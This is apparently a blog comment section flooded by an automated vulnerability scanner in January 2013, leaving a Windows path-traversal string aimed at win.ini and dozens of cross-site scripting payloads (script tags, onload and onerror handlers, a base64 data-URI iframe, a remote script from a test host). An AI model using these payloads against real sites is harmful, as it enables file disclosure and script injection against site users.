    unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

  781. # 1 on 23 January 2013 at 13:46:

    '"()&%1<ScRiPt >prompt(985011)</ScRiPt>

  782. # 1 on 23 January 2013 at 13:46:

    OTY2NzM3

  783. # 1 on 23 January 2013 at 13:46:

    undefined1<ScRiPt >prompt(927429)</ScRiPt>

  784. # 1 on 23 January 2013 at 13:46:

    1<ScRiPt
    >prompt(963414)</ScRiPt>

  785. # 1 on 23 January 2013 at 13:46:

    1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?928627></ScRiPt>

  786. # 1 on 23 January 2013 at 13:46:

    1<ScRiPt
    >prompt(949559)</ScRiPt>

  787. # 1 on 23 January 2013 at 13:46:

    <video><source onerror="javascript:prompt(913611)">

  788. # 1 on 23 January 2013 at 13:46:

    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(921678)"></g></svg>

  789. # 1 on 23 January 2013 at 13:46:

    1[url=javascript:prompt(945218)]http://www.acunetix.com[/url]

  790. # 1 on 23 January 2013 at 13:46:

    1<div style=width:expression(prompt(942875))>

  791. # 1 on 23 January 2013 at 13:47:

    <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='907246'>

  792. # 1 on 23 January 2013 at 13:47:

    <body onload=prompt(982554)>

  793. # 1 on 23 January 2013 at 13:47:

    <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(997766)>

  794. # 1 on 23 January 2013 at 13:47:

    <img src=xyz OnErRor=prompt(956629)>

  795. # 1 on 23 January 2013 at 13:47:

    1%3CScRiPt%20%3Eprompt(934275)%3C/sCripT%3E

  796. # 1 on 23 January 2013 at 13:47:

  797. # 1 on 23 January 2013 at 13:47:

    <input autofocus onfocus=prompt(940629)>

  798. # 1 on 23 January 2013 at 13:47:

    kTpes
    1<ScRiPt >prompt(953563)</ScRiPt>

Leave a Comment

Fields marked with * are required